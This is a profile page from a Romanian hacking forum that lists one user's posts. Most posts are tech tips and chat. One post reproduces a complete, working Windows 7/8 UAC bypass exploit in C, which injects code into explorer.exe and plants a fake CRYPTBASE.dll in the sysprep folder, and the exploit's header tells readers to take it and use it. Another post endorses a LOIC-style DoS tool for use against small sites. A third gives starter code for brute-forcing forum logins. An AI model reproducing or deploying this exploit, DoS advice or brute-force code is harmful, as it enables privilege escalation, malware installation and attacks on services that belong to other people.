Jump to content

Ganav

Active Members
  • Posts

    1374
  • Joined

  • Last visited

  • Days Won

    14

Everything posted by Ganav

  1. As iliustra timpul prin propria-mi persoana.
  2. Programul acesta este foarte similar cu LOIC(Low Orbit Ion Cannon) avand in plus proxy support. LOIC a fost folosit de catre anonymous in 2012 pentru a face DoS la unele site-uri guvernamentale si bancare. Neavand optiunea de proxy multi copii au fost arestati de pe urma folosirii lui. Acesta are proxy support insa o data ce faci proxy-ing de orice fel capacitatea atacului scade semnificativ. Folositi-l, eventual, cu prietenii pe site-uri marunte. Mai mult ca sigur veti intra in conflict cu autoritatile daca il folositi iresponsabil.
  3. https://rstforums.com/forum/members/open/?tab=likes_received&page=4#likes_received https://rstforums.com/forum/members/open/?tab=likes_received&page=5#likes_received https://rstforums.com/forum/members/open/?tab=likes_received&page=6#likes_received https://rstforums.com/forum/members/open/?tab=likes_received&page=7#likes_received https://rstforums.com/forum/members/open/?tab=likes_received#likes_received https://rstforums.com/forum/members/open/?tab=likes_received&page=2#likes_received Puteai sa faci macar mai multe cont-uri(cu diferite poze la avatar).
  4. Felicitari. A trecut ceva timp de cand am vazut aplicatii open source postate aici.
  5. Dupa mai multi ani de pregatire poti sa evaluezi intentiile si inteligenta unei persoane numai din privirea acesteia. "Prostii" au probleme legate de atentie; in general au unele dificultati in a percepe si in a intelege notiuni analitice. Atentia lor este foarte limitata, adesea fiind necesara explicarea unei notiuni de mai multe ori, chiar daca acestia pretind ca au inteles in intregime problema in cauza. Un alt semn de inteligenta reprezinta modul in care oamenii accepta informatiile primite de la semeni/diferite surse de media. "Prostii" foarte rar verifica sursa sau autenticitatea informatiilor primite fiind grabiti sa le distribuie printre semeni. Astfel, sunt sanse sa creasca in ochii acestora capatand un statut mai ridicat in cadrul comunitatii din care fac parte. Un exemplu il reprezinta liberalii din SUA; acestia accepta necontenit codul "moral"(de fapt ar fi trebuit sa folosesc o alta sintagma aici) impus de diverse persoane politice. Acesta nu numai ca le ofera un obiectiv in viata insa ii si plaseaza, in conceptia lor, pe un imaginar piedestal al moralitatii. Se creeaza astfel doua ramuri antagonice "ei" si "ceilalti" care contesta regulile impuse prin norme politice. Liberalii vor ataca orice entitate(persoana, partid, etc.) ce are perceptii politice diferite. Este foarte usor si convenabil sa raspandesti un cancer social prin intermediul acestora. Revenind la inteligenta, poti estima capacitatea intelectuala a unui individ si in functie de modul in care acesta isi percepe sau isi estimeaza viitorul. De exemplu, un "prost" traieste intodeauna clipa; in ziua salariului cheltuie majoritatea sumei dupa care suporta inconveniente pana la sfarsitul lunii.
  6. A trebuit sa eliberez spatiu pe disk si am gasit un utilitar extrem de eficient: WinDir Stat. Este open source si poate fi gasit aici: WinDirStat: Windows Directory Statistics | Free System Administration software downloads at SourceForge.net
  7. Start --> Default Programs --> Adaugi programul care vrei sa iti apara in sugestii
  8. Trebuia sa se afirme cumva. Macar de faceau un DNS amplification based DoS. Astfel, puteau face mult mai mult chiar si cu trei statii de lucru.
  9. Ganav

    port ssh

    Cu nmap: nmap -sS -p1-65535 <VPS server IP>
  10. Mrs. Pote imi va trebui candva.
  11. Fancourier par seriosi. FAN Courier | Oriunde, cu placere!
  12. Ok, acum pune un link catre sursa.
  13. Ganav

    Examenul ECDL

    Nu, nu da bani pe asa ceva. Inscrie-te la cursuri Microsoft/CISCO. Sunt mult mai folositoare si cautate de catre angajatori.
  14. Daca booteaza pentru 20 - 30 de secunde inseamna ca are probleme curacirea sau memoria RAM.
  15. Acesta este al treilea tutorial din serie. alias grep 'gnu grep -i --color=auto' Comanda de mai sus creeaza un alias care afiseaza rezultatele comenzii grep in culori. Ctrl + Alt + sageti Combinatia de mai sus permite schimbarea spatiului de lucru(workspace) pe Debian. last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp Comanda de mai sus afiseaza cati utilizatori sau logat/delogat si de cate ori. mkdir -p o/cale/lunga Crearea mai multor directoare cu o ordine ierarhica predefinita folosind o singura comanda. wget -qO - "http://www.site.com/arhiva.tar.gz" | tar zxvf - Secventa de mai sus permite extragerea unui fisier arhivat fara a-l salva local. sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /fisier/ipuri Comanda de mai sus permite sortarea IP-urilor dintr-un fisier in functie de octeti(IPv4). ldd <nume executabil> Comanda de mai sus afiseaza toate bibliotecile folosite de executabil. ls -al /proc/<PID>/fd Secventa de mai sus afiseaza toti descriptorii de fisieri asociati procesului cu ID-ul PID. find /cale -type d -perm 777 -exec chmod 755 {} \; Comanda de mai sus schimba permisiunile tuturor fisierelor din /cale din 777 in 755. sudo dd if=/dev/mem | cat | strings Comanda de mai sus afiseaza toate string-urile din RAM. alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'" Comanda de mai sus creeaza un alias pentru cautarea de adrese IPv4 intr-un fisier. find . \( -name '*.h' -o -name '*.cpp' \) | xargs grep . | wc -l Secventa de mai sus cauta fisiere de tip .h si .cpp in directorul curent dupa care afiseaza numarul de linii din fiecare fisier. for i in $(seq 1 50) ; do echo Iteration $i ; done Comanda de mai sus itereaza de la 1 la 50, afisand indexul la fiecare iteratie. sed -n '10,20p' <nume_fisier> Comanda de mai sus afiseaza toate liniile intre 10 si 20 din fisier. tar zcvf nume_dir-$(date +%Y%m%d-%H%M).tar.gz nume_dir/ Comanda de mai sus creeaza o arhiva cu timestamp a unui director. script <nume_log> Comanda creeaza un log pentru sesiunea curenta din terminal. history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head Comanda afiseaza cele mai des comenzi utilizate. !!:gs/foo/bar Comanda ruleaza comanda precedenta inlocuind textul foo cu textul bar. echo $0 Comanda afiseaza shell-ul curent. i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done Comanda sterge datele din header-ul EXIF din fisiere .jpeg. mogrify -resize 1024 *.jpg Secventa modifica dimensiunea imaginilor .jpg din directorul curent. watch -n 15 curl -s --connect-timeout 10 http://www.google.com/ Comanda de mai sus verfica cand o conexiune la un server web se poate stabili. Verficarea se face din 15 in 15 secunde cu o perioada de asteptare(timeout) de 10 secunde. rename .extensieveche .extensienoua *.extensieveche Comanda schimba extensia veche tuturor fisierelor cu o extensie noua din directorul curent
  16. Ganav

    CV-uri

    Nu. Se pare ca le pot vedea pe toate(majoritatea sunt din Iasi).
  17. Se pare ca aceste posturi sunt scrise doar pentru post count/rep whoring. Iti recomand sa incetezi; este foarte probabil sa iei warn/ban daca continui astfel.
  18. Tutorialul nu are un scop anume(nu aduce informatii concrete legate de limbaj sau de folosirea acestuia). Ai putea sa scrii diferite fragmente de cod care pot aduce imbunatatiri ale performantei sau ale securitatii. De exemplu: The PHP Benchmark mysql - How can I prevent SQL-injection in PHP? - Stack Overflow
  19. Codul de mai sus compileaza doar daca se furnizeaza calea catre psapi.lib. Aceasta se poate realiza adaugand linia: #pragma comment(lib, "psapi.lib") Astfel, linker-ul va adauga dependentele respective la compilare. Codul complet se gaseste mai jos: /* UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP, CP all 32-bit for admin with default UAC settings Effectively bypasses the UAC rights, because of: 1. "auto-elevation" for certain processes started from explorer.exe 2. anyone can inject anything to explorer.exe This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe. I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already. (C) 2012 K. Kleissner, Published under EUPL - Take it, use it. Implement it as below, be aware the code makes a copy of itself (the "own" exe) and changes it to be a dll (so be aware of the WinMain -> DllMain entry point implications!). */ #define _HAS_EXCEPTIONS 0 #include <windows.h> #include <commctrl.h> #include <shlobj.h> #include <psapi.h> #pragma comment(lib, "psapi.lib") int UACBypass(void); BOOL IsUserElevatedAdmin(void); int main(void) { OSVERSIONINFO VersionInfo; VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&VersionInfo); // Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest) if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin()) UACBypass(); // ... your code here ... } BOOL IsUserElevatedAdmin(void) { SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID SecurityIdentifier; if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier)) return 0; BOOL IsAdminMember; if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember)) IsAdminMember = FALSE; FreeSid(SecurityIdentifier); return IsAdminMember; } // WARNING: This code leaves crytpbase.dll in sysprep directory! // This is cleaned up and heavily modified code from originally http://www.pretentiousname.com/misc/win7_uac_whitelist2.html (Win7Elevate_Inject) struct InjectArgs { // Functions BOOL (WINAPI *FFreeLibrary)(HMODULE hLibModule); HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName); FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); BOOL (WINAPI *FCloseHandle)(HANDLE); DWORD (WINAPI *FWaitForSingleObject)(HANDLE,DWORD); // Static strings wchar_t szSourceDll[MAX_PATH]; wchar_t szElevDir[MAX_PATH]; wchar_t szElevDll[MAX_PATH]; wchar_t szElevDllFull[MAX_PATH]; wchar_t szElevExeFull[MAX_PATH]; wchar_t szElevArgs[MAX_PATH]; wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker // some GUIDs IID pIID_EIFO; IID pIID_ShellItem2; IID pIID_Unknown; // Dll and import strings wchar_t NameShell32[20]; wchar_t NameOle32[20]; char NameCoInitialize[20]; char NameCoUninitialize[20]; char NameCoGetObject[20]; char NameCoCreateInstance[20]; char NameSHCreateItemFromParsingName[30]; char NameShellExecuteExW[20]; // IMPORTANT: Allocating structures here (so we know where it was allocated) SHELLEXECUTEINFO shinfo; BIND_OPTS3 bo; }; // important: error code here is passed back to original process (1 = success, 0 = failure) static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args) { // don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address) NTSTATUS Status = 0; // Use an elevated FileOperation object to copy a file to a protected folder. // If we're in a process that can do silent COM elevation then we can do this without any prompts. HMODULE ModuleOle32 = Args->FLoadLibrary(Args->NameOle32); HMODULE ModuleShell32 = Args->FLoadLibrary(Args->NameShell32); if (!ModuleOle32 || !ModuleShell32) return 0; // Load the non-Kernel32.dll functions that we need. HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize); void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize); HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject); HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance); HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName); BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW); if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx || FCoInitialize(NULL) != S_OK) return 0; Args->bo.cbStruct = sizeof(BIND_OPTS3); Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER; // For testing other COM objects/methods, start here. IFileOperation *pFileOp = 0; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection. if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK && pFileOp && pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|/*FOFX_REQUIRE_ELEVATION|*/FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path) FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK && pSHISource && FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK && pSHIDestination && pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK && pFileOp->PerformOperations() == S_OK) { // Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call. // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.) Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO); Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; Args->shinfo.lpFile = Args->szElevExeFull; Args->shinfo.lpParameters = Args->szElevArgs; Args->shinfo.lpDirectory = Args->szElevDir; Args->shinfo.nShow = SW_SHOW; // update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible) if ((Status = FShellExecuteEx(&Args->shinfo))) { Args->FCloseHandle(Args->shinfo.hProcess); } } // clean-up if (pSHIDelete) { pSHIDelete->Release(); } if (pSHIDestination) { pSHIDestination->Release(); } if (pSHISource) { pSHISource->Release(); } if (pFileOp) { pFileOp->Release(); } FCoUninitialize(); Args->FFreeLibrary(ModuleShell32); Args->FFreeLibrary(ModuleOle32); return Status; } // returns 1 when you can expect everything worked fine! int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll) { NTSTATUS Status = 0; const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc; const BYTE * codeEndAdr = (BYTE *)AttemptOperation; if (codeStartAdr >= codeEndAdr) // ensure we don't copy crap return 0; // Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't // directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list. // If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one. // set up arguments InjectArgs ia; memset(&ia, 0, sizeof(ia)); ia.FFreeLibrary = FreeLibrary; ia.FLoadLibrary = LoadLibrary; ia.FGetProcAddress = GetProcAddress; ia.FCloseHandle = CloseHandle; ia.FWaitForSingleObject = WaitForSingleObject; wcscpy(ia.NameShell32, L"shell32.dll"); wcscpy(ia.NameOle32, L"ole32.dll"); strcpy(ia.NameCoInitialize, "CoInitialize"); strcpy(ia.NameCoUninitialize, "CoUninitialize"); strcpy(ia.NameCoGetObject, "CoGetObject"); strcpy(ia.NameCoCreateInstance, "CoCreateInstance"); strcpy(ia.NameSHCreateItemFromParsingName, "SHCreateItemFromParsingName"); strcpy(ia.NameShellExecuteExW, "ShellExecuteExW"); wchar_t SystemDirectory[MAX_PATH]; if (!GetSystemDirectory(SystemDirectory, MAX_PATH)) return 0; wcscpy(ia.szSourceDll, szPathToOurDll); wcscpy(ia.szElevDir, SystemDirectory); wcscat(ia.szElevDir, L"\\sysprep"); wcscpy(ia.szElevDll, L"CRYPTBASE.dll"); wcscpy(ia.szElevExeFull, SystemDirectory); wcscat(ia.szElevExeFull, L"\\sysprep\\sysprep.exe"); wcscpy(ia.szEIFOMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}"); memcpy(&ia.pIID_EIFO, &__uuidof(IFileOperation), sizeof(GUID)); memcpy(&ia.pIID_ShellItem2, &__uuidof(IShellItem2), sizeof(GUID)); memcpy(&ia.pIID_Unknown, &__uuidof(IUnknown), sizeof(GUID)); if (!bInject) { // Test code without remoting. // This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin. Status = RemoteCodeFunc(&ia); } else { // Test code with remoting. // At least as of RC1 build 7100, with the default OS settings, this will run the specified command // with elevation but without triggering a UAC prompt. void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE); if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL)) return 0; void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ); if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL)) return 0; HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL); if (!hRemoteThread) return 0; // intelligent logit to wait for the execution and grabbing the exit code DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000); if (dwWaitRes == WAIT_OBJECT_0) GetExitCodeThread(hRemoteThread, (DWORD *)&Status); CloseHandle(hRemoteThread); } return Status; } int UACBypass(void) { // Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?) DWORD Processes[1024], BytesReturned; if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned)) return 0; HANDLE TargetProcess = NULL; for (unsigned i = 0; i < BytesReturned / 4; i++) { if (Processes[i] != 0) { TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes[i]); // Get the process name. if (TargetProcess) { HMODULE hMod; DWORD cbNeeded; if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod), &cbNeeded) ) { wchar_t ProcessName[MAX_PATH]; GetModuleBaseName(TargetProcess, hMod, ProcessName, sizeof(ProcessName)/sizeof(TCHAR) ); if (_wcsicmp(ProcessName, L"explorer.exe") == 0) break; } CloseHandle(TargetProcess); TargetProcess = NULL; } } } if (!TargetProcess) return 0; // Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header wchar_t SelfFileName[MAX_PATH]; if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH)) { CloseHandle(TargetProcess); return 0; } wchar_t FakeCrytbase[MAX_PATH]; GetTempPathW(MAX_PATH, FakeCrytbase); GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase); if (!CopyFile(SelfFileName, FakeCrytbase, 0)) { CloseHandle(TargetProcess); return 0; } HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (FakeFile == INVALID_HANDLE_VALUE) { CloseHandle(TargetProcess); return 0; } DWORD NumberOfBytesRead; BYTE ImageHeader[4096]; if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader; PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew]; // set the dll flag (IMAGE_FILE_DLL) old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL; DWORD NumberOfBytesWritten; if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } CloseHandle(FakeFile); // Step 3: Using the exploit NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase); CloseHandle(TargetProcess); DeleteFile(FakeCrytbase); // exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights if (Status) ExitProcess(1); return 1; }
  20. mas~a (obiect casnic) masa (forma articulata cu articol hotarat) m~asa (parinte, popular) Nu stiu sa scriu a am folosit ~(a) pentru caciulita.
  21. Salut, nu trebuie sa ceri permisiunea nimanui sa navighezi pe forum. Acesta este public iar materialul care il gasesti aici este prezentat doar in scopuri educative. Poti arunca o privire si peste regulile forumului. Le gasesti aici: https://rstforums.com/forum/59818-regulamentul-forumului-ro.rst Daca postezi incearca sa prezinti material de calitate care este de folos acestei comunitati. Uitandu-ma pe feed observ ca faci multe posturi care se incadreaza in rubrica de cereri/offtopic. Citeste intai ce s-a postat, modul in care reactioneaza comunitatea la diverse idei, sa identifici puncte de interes. Axeaza-te pe acestea in viitoarele postari. In sfarsit iti urez bun venit.
  22. Ganav

    Scanner RDP

    Da, poti realiza toate combinatiile de caractere(litere majuscule si minuscule, toate cifrele si toate caracterele speciale: de exemplu Shift + [0 - 9]) de o lungime data. Pentru toate cuvintele formate din 3 litere(atat majuscule cat si minuscul) ai nevoie de 52 ^ 3 request-uri(sunt 26 de litere in alfabet insa consideram atat majusculele cat si minusculele 26 * 2). Se poate dar se vede clar ca nu este eficient atat din punct de vedere computational cat si al latimii de banda consumata.
  23. But over time, we may decide to strengthen it, because we’d like to encourage all website owners to switch from HTTP to HTTPS to keep everyone safe on the web. Niciodata nu am putut sa inteleg afirmatiile de genul acesta. De ce toata lumea traieste cu impresia ca daca mijlocul de comunicare este sigur/criptat acesta este in mod implicit sigur; vulnerabilitatile server si client side sunt complet ignorate. Mai mult chiar daca nu se foloseste SSL ci doar HTTP tot trebuie sa faci sniffing pe unele router-e sau pe o statie in acelasi subnet cu acestea pentru a prelua traficul.
  24. Da, poti. Trebuie sa stii doar ce mesaje afiseaza forumul atunci cand o logare s-a efectuat cu succes sau cand aceasta a esuat. Cu alte cuvinte cauti un string in pagina returnata de server-ul web: la o logare gresita(invalid user/pass) server-ul returneaza o pagina cu textul "Invalid username/password". Daca logarea se efectueaza cu succes atunci string-ul acesta nu este returnat in raspuns, deci combinatia user/pass este valida. Poti folosi urmatorul cod(acesta este pentru un request fara parametrii POST/GET): Imports System Imports System.Net Imports System.IO Module Module1 Sub Main() Dim sURL As String sURL = "http://www.forum.com" Dim wrGETURL As WebRequest wrGETURL = WebRequest.Create(sURL) Dim myProxy As New WebProxy("myproxy", 80) myProxy.BypassProxyOnLocal = True 'wrGETURL.Proxy = myProxy wrGETURL.Proxy = WebProxy.GetDefaultProxy() Dim objStream As Stream objStream = wrGETURL.GetResponse.GetResponseStream() Dim objReader As New StreamReader(objStream) Dim linie As String = "" Dim i As Integer = 0 Do While Not linie Is Nothing i += 1 linie = objReader.ReadLine If Not linie Is Nothing Then ' Verificam daca logarea s-a efectuat cu succes sau nu If linie.Contains("Invalid username/password") then Console.WriteLine("Logare invalida") End If End If Loop Console.ReadLine() End Sub End Module
  25. Problema este ca mediatizarea acestor neispraviti poate afecta in mod negativ imaginea celor care vor sa se realizeze in viata. Este bine ca astfel de articole sa fie puse sub pres impreuna cu materialul pe care il prezinta.
×
×
  • Create New...